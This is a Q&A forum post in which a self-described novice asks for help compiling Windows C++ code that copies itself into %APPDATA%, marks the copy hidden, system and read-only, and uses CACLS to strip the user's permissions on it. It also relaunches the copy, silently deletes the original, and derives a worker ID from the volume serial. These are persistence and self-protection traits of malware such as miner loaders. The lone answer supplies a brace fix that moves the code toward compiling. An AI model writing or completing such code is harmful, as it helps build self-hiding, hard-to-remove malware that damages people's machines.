self replicate, protect and destruct local function definitions are illegal

Question

i try to compile this code which has no other functions except: after i run > copy itself to other folder/path then delete itself and protect.

I want to learn more about how these things work but I get some errors i can't fix so I need some help to build it :)

here is the list of errors :

Error C1075 '{': no matching token found

Error C2601 'WorkerID': local function definitions are illegal

Error C2601 'SelfDefense': local function definitions are illegal

Error C2601 'IsElevated': local function definitions are illegal

Error C2601 'Delete': local function definitions are illegal

Error C2601 'Copy': local function definitions are illegal

Error C2601 'CheckPath': local function definitions are illegal

Error C2601 'CheckMutex': local function definitions are illegal

i have zero experience with c++ so every attempt to fix this I got more errors.

#define _UNICODE

#include "App.h"
#include "Myresearchconsoleapp/Entry.h"
#include "Myresearchconsoleapp/Process.h"
#include <windows.h>
#include <TCHAR.H>
#include <thread>
#include <sddl.h>
#include <stdio.h>
#include <aclapi.h>
#include <stdlib.h>
#include <Shlwapi.h>
#define STRICT
#pragma comment(linker, "/MERGE:.data=.text")
#pragma comment(linker, "/MERGE:.rdata=.text")
#pragma comment(linker, "/SECTION:.text,EWR")

#define STRLEN(x)(sizeof(x) / sizeof(TCHAR) - 1)


int main(int argc, char **argv) {
   using namespace mystudyapp;

   Process process(argc, argv);
   const Entry::Id entry = Entry::get(process);
   if (entry) {
       return Entry::exec(process, entry);
   }

   bool SelfDefense()
   {

       return TRUE;
   }



   int Delete(TCHAR* path) {
       TCHAR DelCom[MAX_PATH + 1];
       wsprintfW(DelCom, L"/c timeout -t 2 && del \"%s\"", path);
       ShellExecuteW(0, L"open", L"cmd.exe", DelCom, 0, SW_HIDE);
       std::exit(0);
   }

   int Copy(TCHAR* CopyPth, TCHAR* CruPath, TCHAR* Username) {
       STARTUPINFO si;
       TCHAR CACLS[1024];
       TCHAR CACLS2[1024];
       memset(&si, 0, sizeof(si));
       si.cb = sizeof(si);
       PROCESS_INFORMATION pi;
       memset(&pi, 0, sizeof(pi));
       CopyFile(CruPath, CopyPth, true);
       SetFileAttributes(CopyPth, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
       wsprintfW(CACLS, L"/c CACLS \"%s\" /E /P %s:N", CopyPth, Username); 
       ShellExecuteW(0, L"open", L"cmd.exe", CACLS, 0, SW_HIDE);
       wsprintfW(CACLS2, L"/c Echo Y| CACLS \"%s\" /P %s:R", CopyPth, Username);
       ShellExecuteW(0, L"open", L"cmd.exe", CACLS2, 0, SW_HIDE); 
       CreateProcess(NULL, CopyPth, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
       Delete(CruPath);
   }

   int CheckMutex() {
       WCHAR MUTEX[] = { L"Global\\Mutex01" };
       HANDLE hMutex = CreateMutexW(0, 0, MUTEX);
       if ((GetLastError() == ERROR_ALREADY_EXISTS) || (GetLastError() == ERROR_ACCESS_DENIED)) {
           CloseHandle(hMutex);
           std::exit(0);
       }
       return 0;
   }

   BOOL IsElevated() {
       BOOL fRet = FALSE;
       HANDLE hToken = NULL;
       if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
           TOKEN_ELEVATION Elevation;
           DWORD cbSize = sizeof(TOKEN_ELEVATION);
           if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
               fRet = Elevation.TokenIsElevated;
           }
       }
       if (hToken) {
           CloseHandle(hToken);
       }
       return fRet;
   }



   int CheckPath() {
       TCHAR Username[256]; 
       TCHAR AppData[1024 + 1]; 
       BOOL Admin = IsElevated(); 
       TCHAR CruPath[MAX_PATH + 1]; 

       ExpandEnvironmentStringsW(L"%USERNAME%", Username, 256); 
       ExpandEnvironmentStringsW(L"%APPDATA%\\mystudyapp.exe", AppData, 1024); 
       GetModuleFileName(NULL, CruPath, STRLEN(CruPath)); 

       if (_tcscmp(CruPath, AppData) != 0) { 

           Copy(AppData, CruPath, Username); 
       }
       else { 
           CheckMutex(); 
           if (SelfDefense()) {} 
           return 0;
       }
   }


   char* WorkerID() {
       DWORD VolumeSerialNumber = 0;
       GetVolumeInformation(L"c:\\", NULL, NULL, &VolumeSerialNumber, NULL, NULL, NULL, NULL);
       char procID[20];
       sprintf(procID, "%d", VolumeSerialNumber);

       return procID;


       App app(&process);
       return app.exec();
   }

Answer 1

OK I take back my comment above. You have a missing } at the end of main

int main(int argc, char **argv) {
   using namespace mystudyapp;

   Process process(argc, argv);
   const Entry::Id entry = Entry::get(process);
   if (entry) {
       return Entry::exec(process, entry);
   }

should be

int main(int argc, char **argv) {
   using namespace mystudyapp;

   Process process(argc, argv);
   const Entry::Id entry = Entry::get(process);
   if (entry) {
       return Entry::exec(process, entry);
   }
}